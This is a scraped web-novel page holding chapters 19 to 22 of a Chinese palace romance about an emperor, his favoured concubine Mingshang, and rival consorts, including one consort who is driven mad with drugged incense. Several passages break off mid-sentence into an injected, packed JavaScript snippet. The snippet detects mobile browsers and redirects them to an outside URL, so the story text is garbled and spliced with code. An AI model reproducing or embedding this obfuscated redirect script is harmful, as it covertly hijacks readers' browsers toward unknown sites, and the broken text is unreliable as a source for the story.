明裳懂事地没有多问,伏去男人怀中,乌黑的青丝垂落到雪白的肩头,柔顺乖巧。 “皇上今日没有早朝嘛?” 李怀修眼眸微阖,揽着怀中女子的腰身,指腹漫不经心地摩挲那段羊脂玉般滑腻的肌肤,淡声道:“朕今日休沐。” 19.第 19 章 李怀修素来勤政,即便休沐也从未有贪恋温柔之乡,安逸放纵的习惯。没过半刻钟,李怀修坐起了身,传人进来伺候更衣。 临出殿门,李怀修捻着扳指又走回来,指腹掐了掐明裳的脸蛋,脸色有些黑,“再叫朕知道你私下吃酒,朕当真会赏你板子。” 明裳眸子瞪得圆圆的,想要辩解,又察觉男人似乎不是玩笑,喏喏地应下,待人一走,眸子望着远去的銮仗,娇哼了声,分明政事都忙不过来,居然还要操心她吃没吃酒。 …… 谁也没有料到,昨夜那般晚了,圣驾突然去了顺湘苑。明裳一早去坤宁宫问安,正撞见了徐常在,徐常在脸上恰到好处地露出惊讶,“倒是巧了,宓常在也是过来给娘娘问安?” 明裳看破不说破,装作不懂她话里的意思,“的确巧了,还从没在这儿遇到过徐常在。” 徐常在脸上一闪而过的僵硬,从秋水榭到坤宁宫,走这条宫道确实绕远,不知道宓常在是真的诧异,还是有意戏谑她。 她勉强笑了笑,“听说昨夜皇上歇在了顺湘苑。” 明裳停住步子,眼光落到徐常在脸上,徐常在被看得尴尬,攥紧了手里的帕子,“宓常在盯着我做什么?” 同是常在位份,宓常在不过比她多了一个封号,谁又比谁高贵,这么一想,徐常在底气更足了。前几日皇上分明还宠着她,怎么转头就不声不响地召了宓常在侍寝,她可不信宓常在没给皇上吹枕头风。性子瞧着软,不知道芯子里藏着的是什么样的面孔。 明裳浅浅一笑,“这一大清早的,徐常在的消息倒是灵通。” 昨儿个皇上没明面点寝,又那般晚了,还能让人得了动静,可见这宫里还真是藏不住事。 徐常在一噎,冷冷哼道:“你别给我打马虎眼,要不是你在皇上跟前说闲话,皇上现在怎会对我不冷不热。” “倒底是我在皇上跟前说闲话,还是你颠倒黑白,在皇上面前搬弄我的是非,徐常在自己心里清楚。皇上圣明,你我二人究竟是什么性子,徐常在以为皇上会不清楚吗?” 明裳神色自若地说完,看也没看徐常在,先一步离开。徐常在气得脸色涨红,这宓常在嘴皮子果然厉害,怪不得柳美人在她这屡次吃哑巴亏。 请过安,徐常在回了秋水榭,心里越想越气,宓常在趾高气扬的样儿,好像她是个心肠歹毒的小人,这宫里头,就她最是高贵! 徐常在狠狠揪了把绢花绣的帕子,青线拔//出了丝,内务府也是看人下菜,前些日子她受宠,内务府巴不得把最好的绸缎都送到秋水榭,这些日子倒好,一日比一日的敷衍,这帕子的绣工,比她宫里奴才用的都不如。 素冬端着一碟热乎的蒸糕进来,五个白胖的团子,前面点了两颗丑不拉几的黑豆,徐常在扫了眼,气道:“御膳房竟敢如此敷衍我了?” 素冬连忙解释,“主子误会了,这是陈宝林递给御膳房的方子,是陈宝林老家常吃的一种小食,御膳房往各宫都送了一碟。” “陈宝林?”徐答应皱起眉,回忆起来,陈宝林就是跟在宓常在后头那个唯唯诺诺的,说话都不敢看人的新进妃嫔,颇有些小家子气。 她瞄了眼碟里装的几个白团子,嗤之以鼻,“她也就能拿的出这般寒酸之物来讨好旁人。” 到晌午,全福海也接到了陈宝林的小食。他对后宫这位主子印象不深,大抵是进了宫还没侍寝过一回。全福海在御前伺候,练就一番圆滑的本事,即便陈宝林从未侍寝,他也不能直接把人得罪了。 全福海笑着接下了食盒,“皇上在里头与前朝的大臣们商议朝政,这小食奴才接下了,宝林主子且先回吧。” 陈宝林来时期待忐忑的光一瞬消失殆尽,如何也提不起一个笑脸。她思量许久,才借着这个由头给皇上送吃食,却没想到竟见都没见到皇上。 她僵笑着扯了扯唇,“有劳全公公。” 全福海面不改色地把人送走,心里“啧”了声,这主子大抵是不知道御前接了多少回吃食了,能得皇上眼的主子凤毛麟角,何必自命甚高。他多说无用,且只能等人自己想通了。 陈宝林拐过一条宫道,一时失神,脚步猛地踉跄了下,翠苏眼疾手快扶住她,劝慰道:“主子不必伤心,后宫嫔妃往乾坤宫递吃食,十有八九送不进去,主子因此神伤,反而容易落人口舌。” 陈宝林苦笑摇了摇头,“我并非因此耿耿于怀。昨夜皇上未点寝,就去了顺湘苑,可见宓姐姐得宠。我这般敬她,这般小心翼翼,你说,宓姐姐为何就不能分我一分皇上的宠爱,哪怕一分也好。” 扬起的风迷了陈宝林的眼,一行清泪落到地上,陈宝林不甘心地扯了扯唇,她不愿承认,却又不得不承认,她嫉妒极了宓常在。 翠苏默不作声地扶着主子,不敢说话。她十岁进宫,待得久了,要比主子看得清楚。深宫里,哪有什么真心换真心,又有谁心甘情愿地分给旁人恩宠。主子投靠宓常在是要求倚仗,可再想要宓常在分去圣宠,要的实在太多了,换作谁,谁都会觉得主子异想天开。 但翠苏只是一个奴才,她知道什么该说,什么不该说,这些话要烂在肚子里,希望主子有一日能看得开。 …… 顺湘苑 明裳捏着白胖胖的小食出了会儿神,又放回碟里,赏给了下面的宫人。 陈宝林提裙进了顺湘苑,月香捧着一匣子白胖的糕点,掀开垂落的珠帘,两人正好相遇。 月香愣了下,面色有些尴尬,福了身子,佯装无事道:“御膳房那群奴才不会做事,将宝林主子的小食送到顺湘苑,都有些凉了,奴婢奉主子命拿下去热热。” 月香机灵,脑子转得快,一番话也算是将此时情形圆了过去。 陈宝林笑意温婉,仿若一无所觉,但袖中掐紧的指尖儿,终究泄出了她一分心思。 她怎会看不出,宓常在大抵是嫌弃她送出的东西,才叫月香端出去赏了下面的奴才。 翠苏偷偷瞄着主子的脸色,心有不忍。 稍许,陈宝林点了点头,温和道:“既是如此,快端出去罢,也是我考虑不周,条糕黏腻,还是热着吃可口入味。” 珠帘掀开,进了内殿,陈宝林眸光先是不着痕迹朝床围处望了一眼,耳边听宓常在唤她,才收回神,轻言细语地福了身子。 明裳招她坐下,莞尔道:“来了怎么也不让人通传一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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丽妃进了殿门,全福海不由得记起方才他通禀时,皇上沉默一瞬的脸色,有些摸不清,皇上现在对丽妃娘娘是什么意思。毕竟皇上与丽妃娘娘可是青梅竹马的情分,就算中间有再多的错处,皇上念旧,总该要记得丽妃几分旧情,不然丽妃娘娘也不会坐到今时的位子。这后宫里头,明眼人都知道,除了皇后娘娘,最该敬重的就是丽妃娘娘。 内殿里,丽妃打开食盒,将里面的吃食一一摆到御案上,“皇上吃腻了御膳房的膳食,尝尝这些臣妾亲手做的,换换口味。” 李怀修朝碟里的清淡小菜扫了眼,不紧不慢地推了两下扳指,不知为何想起那日那女子来他这送羹汤,嘴里说的好听,是为他的身子着想,到最后硬要磨着他让她宫里掌事宫女回了内务府。那女子倚仗着他的纵容,嘴里就没一句真心话。 念此,李怀修勾起唇线,轻嗤了声。 丽妃听见,以为皇上是对午膳不满,抿了抿唇,“可是臣妾扰了皇上?” 李怀修若无其事地移开眼:“无妨,朕在想朝中的政事。” 丽妃柔柔地抚上李怀修的肩膀,轻轻按捏,“臣妾劝不动皇上,但要是皇上累了,臣妾希望皇上能召臣妾过来,臣妾添茶揉肩,总归要比后宫的妹妹们做得熟练些。” 李怀修把玩着拇指玉戒,面色淡淡,没有开口,不知听去了多少。 20.第 20 章 陈宝林白日起得有些迟,匆匆梳好妆容赶去坤宁宫问安。因她宫所正在承明宫,踏出宫门,正遇到承明宫主位杨嫔的仪仗。因杨家早有的从龙之功,今岁选秀,杨嫔入宫后就封了嫔妃,在新人中位分最高,也最得圣心,六宫中也颇有殊荣。 珠帘笼着女子的面容,纤细葱白的玉指漫不经意地搭在椅沿儿的檀木边缘,腕间戴着的血玉手钏,磕碰得叮当作响,这般风光,仅是嫔位似乎就可比后宫的贵妃娘娘。 杨嫔挑了挑眉梢,瞄了眼仪仗前福身的陈宝林,她是承明宫主位,陈宝林住在承明宫中,虽安分守己,她却也听闻,陈宝林与新得圣宠的宓常在走得最近,个中缘由,她也明白,六宫的嫔妃谁不想一跃入皇上的眼,飞上枝头。 杨嫔倒不在意陈宝林这点小心思,可住在承明宫里头,却要结交别宫的嫔妃,焉知不会联合起来用手段对付她。更何况,那人还是正得圣眷的宓常在,自从宓常在受宠,皇上已许久没来她这儿了。 她面色慢慢淡下来,也没让陈宝林起来,仿佛没看见这个人,出了承明宫。 微凉的风拂过陈宝林的侧脸,陈宝林起了身子,对杨嫔冷淡的态度是在意料之中。 到坤宁宫,杨嫔由宫人扶下仪仗,此时已经快到了问安的时辰,杨嫔仍旧走得不紧不慢,六宫嫔妃少有杨嫔这么大的排场。但杨嫔父亲正是御前红人,倚仗着杨家,杨嫔又得皇上宠爱,即便性子高傲,嫔妃们只敢腹诽几句,没人敢当面说出口,得罪了人。 杨嫔进了殿门,落下座,立即有宫人上前奉茶。丽妃一双眸子若有似无地扫过杨嫔手腕的琉璃血玉,稍许,目光如常移开,清沅伺候娘娘已久,自然看出,娘娘在望向杨嫔腕间的手钏时,面容很是平淡,只是平淡得有些哀伤。 不过片刻,陈宝林姗姗来迟,没人敢去置喙杨嫔半句,然对于不受宠的陈宝林,便有人忍不住言语讥讽了,陈宝林垂着眸子,紧紧攥住了手心,指骨都有些发白。 杨嫔那样目中无人的性子,因得圣宠,没人敢去得罪,更有甚者即便不得杨嫔搭理,也要赶着上前巴结一二。 孙答应亲自过去扶住杨嫔的手,瞄见杨嫔腕间的琉璃血玉手钏,眼底泄出艳羡之色,“血玉珍贵,千金难得,嫔妾听闻去岁外邦进贡了一只琉璃血玉的手钏,怕不是就是娘娘手上这只了,皇上果然宠爱娘娘,听说丽妃娘娘也极爱血玉,六宫嫔妃这么多,皇上偏生只赏赐给了您。” 那只手钏是杨嫔初次侍寝后,皇上所赏之物,杨嫔心知贵重,整日戴在手上,自然得意。 她牵了下唇角,“你倒是会说话。” 孙答应见得了杨嫔好脸,越发失了分寸,口无遮拦,“嫔妾只是实言罢了,这六宫里头有谁比得上杨嫔娘娘,都说宓常在得宠,可宓常在侍寝至今不也是常在,不过多了一个封号,宓妃貌美,皇上所赐宓为封号,可见宓常在最得皇上喜欢的也不过是那张脸罢了。听闻您宫中的陈宝林与宓常在走得颇近,不愧是小门小户出身,好没眼色,今儿请安竟还敢在您后头,凭她是谁,哪来这么大的架子……” 孙答应越说越多,杨嫔没再听下去,孙答应确实有心投靠她,只可惜蠢笨了些,一句话明目张胆地得罪三个人,就为了捧着她,能有多聪明。杨嫔上了仪仗,孙答应留在原地,不知杨嫔所想,以为自己攀附上了杨嫔,心里头正沾沾自喜。 陈宝林站在阴影中,正听到孙答应后面的几句话。 …… 明裳拐过一条宫道,被陈宝林叫住,“嫔妾看今日天好,宓姐姐可赏脸与我一同逛逛御花园。” 闻言,明裳有些意外,毕竟今日请安,她并未如往日为陈宝林说话。 她指尖儿捻了捻帕子,没有拒绝。 两人已不是第一次同行,陈宝林轻声细语说着寻常,不知不觉走了许久,明裳的裙摆钩住了伸出的枝杈,陈宝林挺住脚步,不等宫人服侍,亲自蹲下身,慢慢挑出被裙裾,极为自然道:“姐姐穿的这身海棠红好看,瞧着也是新衣,万不能在这毁了。” 斜过的毛刺不慎扎入陈宝林的指腹,陈宝林轻嘶了声,明裳不动声色地观察着陈宝林的神色,轻抿唇角,旋即也蹲下了身,因这番动作,裙裾勾到枝杈,牵出了丝线,陈宝林下意识惊呼,“宓姐姐,衣裳这样便毁了!” 明裳似是恼她,“衣裳如何比得上人,女子的手珍贵,你手上若留了疤痕,我毁十件衣裳都不为过。”边说,又拿出帕子,温柔细致地为她包扎伤口,不过是出了几滴血珠,并不严重,但明裳蹙着眉心,仿若愧疚至极。 陈宝林怔了怔,指尖微紧。 天色忽然变了沉暗,阴沉沉的要压迫天际,绘如瞧一眼前面的方向,忽然想起什么,面色骤变,拦住了两人去路,“主子,不能再往前走了。” 明裳讶异,鲜少见绘如如此失态,好奇问道,“为何?” 陈宝林也有些觉得奇怪,不由得看向绘如。 往前走是紫霞阁,先帝在时就已废弃的宫所,因两人都是新入宫,并不知道这宫里头的秘辛。 先帝那时,几乎便寻大魏貌美女子圈于后宫之中,宫里的女人,明争暗斗,勾心斗角,为了上位不择手段,不知有多少枉死的冤魂。 绘如也是听宫中传闻,紫霞阁里面住的嫔妃刘氏入宫前已有身孕,且怀的并非先帝骨肉。刘氏生子后与先高妃同住一宫,高妃嫉恨刘氏得宠,用手段趁先帝离宫之时,以祸乱后宫为由,将那母子二人扔到后院的枯井里,活活灌水溺死。没多久,原本干枯的井生出水源,后高妃因病暴毙,宫里人都传,是刘氏冤魂来向高妃索命。从那以后,紫霞阁便被就比废弃,再无人踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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姜贵人出身书香世家,眼里的溢美并非装出来的,满眼赏玩,只怕要碰坏了去。 “嫔妾祖父库中曾收一幅绝佳的江山社稷图,而今与娘娘这副相较,可如赝品逊色了。” 皇后笑道:“本宫偶然得之,倒也瞧不出画作的真假。” 丽妃上前,览过江山的秀丽之景,眼底不露痕迹,“臣妾也喜欢极了,不论真假,娘娘可否割爱,赐给臣妾。” 听见丽妃亲口讨要,嫔妃们都有诧异,姜贵人眉梢微挑,亦有些惊讶。 唯有皇后仍旧保持端庄的笑容,“既然丽妃妹妹喜欢,本宫割爱一回,也是无妨。” 殿里头主子娘娘们说着话,这时,外面传话的小太监心惊胆颤地跑进来,扑通跌跪到地上,咽了咽唾,一脸惊恐之色,“启禀娘娘,昨夜孙答应误入紫霞阁,一大早叫宫人发现时,形容癫狂,胡言乱语,已经疯了!” 21.第 21 章 传话的小太监神色仓惶,皇后原本和笑的脸上骤然变色,在场嫔妃中,刚进宫不久的新人面有惊疑,她们这才有所察觉,秀女入宫,却无一人分配在紫霞阁。孙答应怎会误入紫霞阁,又怎会一夜疯了。 丽妃也有些诧异,视线不着痕迹地扫过在场的嫔妃,这桩事本就发生的蹊跷,要说无人在其中捣鬼,她自是不信。 在小太监提及紫霞阁时,明裳心底倏然生出一种预感,她眼眸微闪,退了半步,余光很容易看到后面的陈宝林。不知是她伪装得太好,还是当真非她所为,陈宝林眉心似蹙非蹙,与新人又惊又疑的神情并无不同。 殿内瞬间静寂无声,小太监垂着脑袋,额头的汗水都要滴落到地上。 皇后沉着脸色遣散众人,又命人去传伺候孙答应的宫人,查问此事。 嫔妃们依依不舍地出了坤宁宫,她们想看这出好戏,但皇后娘娘似乎并不想大动干戈,过于声张。 明裳大抵猜到皇后的心思,先帝爷再昏庸,也曾是大魏江山之主,一国之君,当今皇考,紫霞阁事关皇室丑闻,丢的是皇家的脸面。此事倘若当真有人所为,可见那人心思缜密,孙答应新入宫,家世平平,又未侍寝,这样的人,不声不响地没了有谁会去关心。 明裳回到顺湘苑,仍心有余悸,她挥退众人,只留下了绘如。 槅窗半支着,透出光亮,绘如捧着茶水,见主子面色苍白,心魂不定,有些担忧,“主子快喝口水,定定神。” 温热的茶水入腹,明裳才有些回缓,孙答应为人左右逢迎,却也胆小怕事,不敢当面与人机锋,又无圣宠皇嗣,这样的性子能得罪了谁,活活被吓得疯掉。 绘如虽也觉得惊骇,但她在宫中伺候已久,已经将这些人心视若寻常。主子迟迟未开口,她隐约猜出,主子是在疑心陈宝林,昨日她刚说出紫霞阁的秘闻,夜里孙答应就误入紫霞阁,已致失了神志,世上怎会有如此巧合。 倘若真是陈宝林所为,她愈发觉出陈宝林的可怕,只是这恰好也是主子一个机会,陈宝林与主子交好,并不知主子已经对她有了防备,日后也可借陈宝林之手,除掉主子前路的阻碍,全看主子是否肯利用这一把刀。 绘如敛下心思,持着蒲扇徐徐扇去凉风,“主子可要去查此事?” 明裳搁置下手中的茶水,“不可。一来,此事本与我无关,我贸然去查,只会引人怀疑。二来……”她放轻声,“那位日理万机,又怎会在乎一个答应的生死。” 至于是不是陈宝林所为,一试便知。 后午,六宫就得了音讯,孙答应身边伺候的宫人交代,孙答应不知从哪得的消息,听闻紫霞阁有可以使女子姿容绝艳,肌肤白皙的香脂,才按捺不住,夜中去了紫霞阁。却不知紫霞阁荒僻已久,夜里又遇大雨,雷电交加,孙答应苦寻无果,指使跟随的宫女回宫取伞,不想转身失足跌入后院的井中,待宫女将孙答应救出来,孙答应摔破了脑袋,才失了神志,嘴里只不住地念叨“滚开!滚开!……” 坤宁宫 皇后指腹揉着额角,不耐地抬了抬手,免了宫人的福礼,直接道:“查得如何了?” 孙答应一事对外称是孙答应为寻香脂才前去紫霞阁,又摔破脑袋疯癫,但并非如此。 那宫人将查到的东西呈到皇后面前,低头禀话:“奴婢问过江太医,这香物无味无觉,极难发现,一旦点燃,便能让人神志恍惚,再受惊吓后,便会陷入幻觉中,痴傻癫狂。” 皇后盯着那燃剩一指的香,眯了眯眸子,忽而轻笑了声,“本宫倒是不知,后宫中怎出了个如此有手段的!” 文竹也觉得脊背生出一股凉意,“娘娘,此事可要禀给皇上?” 皇后摇了摇头,“皇上政务缠身,又怎会管这种琐事。” 她指尖点了两下桌案,“不过本宫确实要跑一趟乾坤宫。” 皇后起了身子,文竹忙过去扶起娘娘,皇后朝禀事的宫人扫了一眼,“继续查,做这种事,但凡在宫里头没有根基的,必然要留下些痕迹。” 那宫人得了吩咐,躬身退出内殿。 后宫生出的这桩事动静并未惊到前朝,全福海听了些风声,得知出事的是从未得宠过的答应主子,便也没放在心上。毕竟皇上忙着前朝的政务,可比后宫主子们的勾心斗角要紧多了,更何况,后宫还有皇后娘娘主持,皇后娘娘自会将这事处理妥当。 后午,皇后的仪仗到了乾坤宫,全福海回御前通禀,过会儿出来请皇后娘娘进殿。 主殿内,金銮宝座的祥云龙纹不怒自威,令人敬畏。皇后屈膝福礼,得过准允赐坐,才起身,坐去宫人搬来的圆椅。 李怀修合上奏折,倚向銮座,不紧不慢地捻了捻扳指,“皇后急着见朕,是有何事?” 御案堆积着上呈的奏疏,狼毫搁置一侧,墨迹未干,皇后没有去看,温声道:“这是这两月后宫的用度,臣妾请皇上过目。” 皇后话音落下,文竹立即拿出账册交给伺候左右的秉笔太监,呈到御前。 李怀修眉目垂低,指骨翻过几页,皇后端坐着,一时竟觉晃神,潜邸那些年,她虽为皇上发妻,两人说过的话,也不过就是这些后宅琐事,仅此而已。那时,皇上宠爱丽妃,后来又有柳侧妃、徐昭训……再后来入了宫,得宠的新人如流水一般,她与皇上之间隔得也越来越多。 皇后移开眼,抿了口茶水,见皇上翻阅完,适时道:“臣妾思量许久,想请皇上准允,在这月用度中多开出五千两。” 现下国库虚空,正是用银钱的时候,皇后心知皇上虽将后宫之事全权交由她之手,但掌权者,最为忌惮下面的人自作主张,她与皇上夫妻十载,太了解这位的心思,才要来御前,禀过此事。 李怀修动作顿住,“为何?” 皇后柔声,“昨夜孙答应误入紫霞阁,摔破脑袋,致使神志不清。紫霞阁荒废已久,阴气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14019640|147324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重得厉害,臣妾想请佛心寺高僧做法,设佛堂,以破邪祟。如此不仅可以安抚后宫人心,也可昭扬大魏子民,以佑我李朝江山。” 李怀修眼底有一瞬的深色,良久道:“皇后思虑周全,既然如此,那便再多加两千两,塑金身佛像。” 皇后含笑起了身子,俯首做礼,“皇上圣明。” 出了殿门,全福海亲自送皇后娘娘上了仪仗,他方才虽未进殿伺候,但也琢磨出,皇后娘娘来这一回,怕是有得圣心的喜事。 送走了皇后娘娘,全福海回殿奉茶,秉笔小太监已退出殿门,全福海默不作声地把皇上批阅过的折子放到一旁,今儿是十五,按理说入夜皇上要去皇后娘娘宫中歇着,他过会儿要传话给下面的宫人,銮驾可要准备妥帖了。 正思量着,就听皇上唤他,“近日后宫出了何事?” 全福海愣住,没敢耽搁,立即将自己知道的一五一十说给皇上听。如他所想,皇上并未在意一个疯了的答应,后宫主子娘娘们多,总要生出些事端,皇上也曾是宫里的皇子,对这些事更是一清二楚,甚至司空见惯,习以为常。不知为何,他忽然觉出了些凉意,坐在这个位子的天家,自古以来都是这般寡情薄凉,也唯有这样的君王,方成大业。 李怀修没再问下去,他撂了笔,吩咐道:“去传宓常在。” …… 全福海亲自跑的顺湘苑请人,明裳有些惊讶,她忍不住问全福海皇上有何事要见她,全福海哪知道皇上的心思,他打着马虎眼,心道怕不是与孙答应有关。 明裳没敢磨蹭,只挽好发髻便去了乾坤宫。 丽景轩很快得知御前大公公亲自来请了宓常在,气的柳美人又摔碎了几个茶碗。 明裳此时顾不上那么多,她忐忑地进了内殿,福过身,男人闻声头也不抬,让她近前研磨。明裳便上了台阶,挽好衣袖,露出一截皓腕,慢慢持着磨石研磨。 女子未施粉黛,脸蛋滑腻雪白,李怀修先看到的是那一截纤细白皙的玉腕,他随手把奏折放到御案上,动静不轻,明裳也停下了动作,她咬了下唇,大着胆子,去勾男人的手指,娇声问道:“皇上召嫔妾过来是有何事?” 李怀修扫一眼勾着他的柔荑,又转向女子的脸。好似又助长了她的胆子,整个人直接伏到了他怀中,馨香满怀。 李怀修黑目低垂,漫不经心地抚住了那段细腰,这女子便愈发有了底气,娇滴滴地磨他,“皇上不说,嫔妾就走了。” 那张白净的脸蛋如玉瓷一般。 李怀修由着她在怀里闹腾,待这女子不折腾了,才慢条斯理地开口,“方才皇后过来,与朕说了孙答应一事。” 怀中原本千娇百媚的女子闻言微微怔住,纤长的眼睫下意识轻颤,很快又被她遮掩。李怀修便知,这女子大抵是知晓一二的实情,他记得,她宫里伺候的掌事宫女,曾伺候过先帝宫中一段时日。 这女子,倒也聪慧。 22.第 22 章 殿内静了一瞬,李怀修眼光不咸不淡地从女子的脸上移开,望向燃着龙涎香的鎏金浮雕花三色铜炉,这女子在他怀中,不知用的什么香,馨甜如蜜,几乎驱散了他惯用的龙涎沉木的味道。 明裳转过脸蛋,美目盈盈,也没有看男人的眼,反问:“皇上与嫔妾说这些做什么?” 她又娇声嘟囔一句,“听说孙答应坠井疯掉,嫔妾吓得几夜都没睡好。” 李怀修眼皮微挑,那女子又在他怀里哼哼唧唧地用小性子,“嫔妾在闺阁时,哪见过这么吓人的事,因此夜夜梦魇,皇上知晓不仅不细声关怀,还来诘问嫔妾!” 越说越不像话了。 李怀修脸色已有些难看,他扯扯唇线,掐了把女子的脸蛋,“朕倒不知,你还敢跟朕这么说话,看来朕往日是太纵容你,愈发不知天高地厚。” 明裳雪白的脸蛋已被男人掐得红透,扬起面时,眸如春水,嫣然无比。她咬了咬唇珠,望着男人沉黑的脸色,似是终于有些惧意,柔软的玉臂般环住男人的腰身撒娇,眼珠晶亮,端的是千娇百媚,“皇上饶了嫔妾吧,嫔妾知道错了,再也不敢了……” 女子嘤嘤啼啼,他知晓,这玉颈下的腰身,是似雪一样的白。 李怀修丹凤眼微眯,后宫那些事,他无暇去管,也放心交于皇后之手,他本也未怀疑过这女子,冗杂的政务之中,只是忽然生出兴趣,想逗弄一下这人,也是给她警醒,莫要倚仗他的宠爱,生出不该有的心思。 今儿是十五,入夜,圣驾去了坤宁宫,明裳回了顺湘苑,不消片刻,御前的小太监捧着皇上的赏赐,流水似的进了永和宫,绫罗绸缎,珠宝首饰,叫人看花了眼,仅是她用来画眉的笔就整整有十斛,她这才后知后觉,那位为何突然召她,恩宠过盛则使人忘形,皇上是在试探,那位不在乎她在圣前的小性子,但他却是不喜,她因这些宠爱,恃宠而骄,闹出事端。 明裳想清楚后,反而坦然,吩咐宫人将御前的赏赐造册入库,只在殿外摆了一斛红蓝花黛。 翌日问安时,陈宝林站在要去坤宁宫的宫道上,似是偶然,与明裳迎面相遇。陈宝林入宫后尚无恩宠,家中又没倚仗,鬓间的发饰都是素白的簪子,两人刚交好时,明裳见陈宝林衣着朴素,又怕直接送她首饰惹她敏感多心,便借口是祈过福,送了两只开了光的蝴蝶金珠步摇,明裳不知为何想到这些事,如今想来,她好像从未见过陈宝林戴过她送的东西。 陈宝林对明裳所想一无所知,眉眼柔意地福了身子,有意无意道:“原来姐姐日日都这般早到坤宁宫给皇后娘娘请安,姐姐也不与我说,反倒是我懒怠,尽惹旁人笑话了。” 闻言,还未等明裳说话,月香先是听不下去了,陈宝林这话何意,难不成主子是故意去得早与她作对吗?也不知陈宝林怎的就没个自知之明,日日往主子跟前凑,主子哪回得了好东西没分给过她,她倒好,反过来倒打一耙,不仅不心存感激,还埋怨起主子,永和宫本就距坤宁宫远,主子早早过去,免得落人话柄,不正是应该的?别以为她不知道陈宝林存了什么心思,既想受主子庇护,还想要主子提携,世上哪有这种好事! 月香板着脸,不卑不亢地回道:“照宝林主子这么说,下回主子再去坤宁宫问安,奴婢提前跑一趟知画斋,知会您一声就是。” 陈宝林脸色微变,明裳并没有阻止训斥月香,她启唇,慢慢开口:“月香不懂事,陈妹妹不要放在心上。你温顺知礼,皇后娘娘都看在眼里,凭那些人如何去说,皇后娘娘不会放在心上。” 女子笑着安抚,神情却是淡淡的。 陈宝林手心一紧,僵硬地扯了扯唇角,“姐……姐姐说的哪里话,是我一时失言,还请姐姐别把我方才的话放在心上才是。” 两人一前一后去往坤宁宫,陈宝林始终落后明裳一步,走过一条宫道,陈宝林终于平复下方才的心绪,恢复如常。 “那日去御花园,幸而有姐姐身边伺候的绘如提醒,不然想到孙答应的下场,妹妹就一阵后怕。”陈宝林帕子轻拂衣袖,眼神无意往前面去看,“妹妹昨日训斥了两个说小话的宫人,她们竟说孙答应不是摔破脑袋疯的,是被紫霞阁的怨灵附了身,可真是胡言乱语,被妹妹好生训斥了一顿。分明是孙答应不知规矩,误闯紫霞阁摔破了脑袋,皇后娘娘都已裁决,怎还能容许下面的人乱嚼舌根子。” “姐姐说,是也不是?” 月香听说过孙答应这桩事,只是那日她并没跟去伺候主子,绘如嘴又严,不与她说,听着陈宝林的话一头雾水,却忍不住想,原以为陈宝林从不与人争执,不想居然也会训斥下面的宫人。 宫道的砖面拉出长长的人影,问安的时辰还早,明裳走得不紧不慢,她停住身,等了陈宝林一步,拉住她的手,含着笑仔仔细细地看她,“妹妹说的是,君子不语怪力乱神,世上怎会有鬼,不过是人心中之鬼罢了。” 陈宝林微抿起唇,继而扯出唇线,回之一笑。 …… 三日后,坤宁宫 禀事的宫人将近日所查细细禀过皇后,文竹剥好核桃,挑到皇后手边的玉碟中,皇后想过新进后宫的几个嫔妃,却是没想到,此人竟是陈宝林。她还记得当初柳美人故意针对陈宝林,陈宝林所做还是受宓常在指点,不想有这么大的本事。 文竹也有些惊讶,“前些日子问安,奴婢听说因陈宝林到的晚了,受了后宫主子们讥讽,陈宝林唯唯诺诺,却是不曾回嘴过一句,怎么会是陈宝林?” 更何况,孙答应与陈宝林都未说过话,陈宝林就把孙答应害至如此,即便见惯了后宫人心,此时文竹也忽觉出一股凉意。 “是啊。”皇后轻啜了口茶水,目光若有所思,“本宫也有些意外。” 皇后扫了眼文竹剥好的核桃,不徐不疾地放下茶水,“陈宝林那日送的小食倒也可口,传陈宝林过来,让膳房也学一学。” 文竹微怔,放下手中的金锤,躬身退出了内殿。 一个时辰后,陈宝林急着步子到了坤宁宫,她发鬓贴到额头,面有薄汗,可见是心急。皇后轻笑了声,“本宫传你又非要事,这般着急做什么?” 有宫人搬了圆凳,皇后开口道:“坐下说话。” 陈宝林有些受宠若惊,她仍记得当初柳美人刁难她,她要向皇后娘娘谢恩时,娘娘都未曾召见。陈宝林福下身子,面容拘谨,“嫔妾住得远,日日给娘娘请安都比后宫里的姐姐们迟,嫔妾担心娘娘不喜。” 皇后手腕搭在凭几上,多看了她两眼,“敬意是在人心中,本宫从不在意那些小节。” 陈宝林面露感激,让翠苏端来自己白日做好的小食,“娘娘传召嫔妾前,嫔妾刚好做了一碟,还热着,请娘娘尝尝。” 文竹接了瓷碟,皇后却拂了拂手,“你的心意本宫领了,只是本宫的用度从不假他人之手,你将做法告知坤宁宫膳房,日后本宫想吃,吩咐下面的宫人去做。” 陈宝林脸色有瞬间的不自然,她垂下眼,“是嫔妾考虑不周。” “无妨。”皇后仿若未察觉陈宝林的神情,姿态端庄雍容,“本宫今日传你,还有一事,且事关紫霞阁疯癫的孙答应。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14024330|147324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 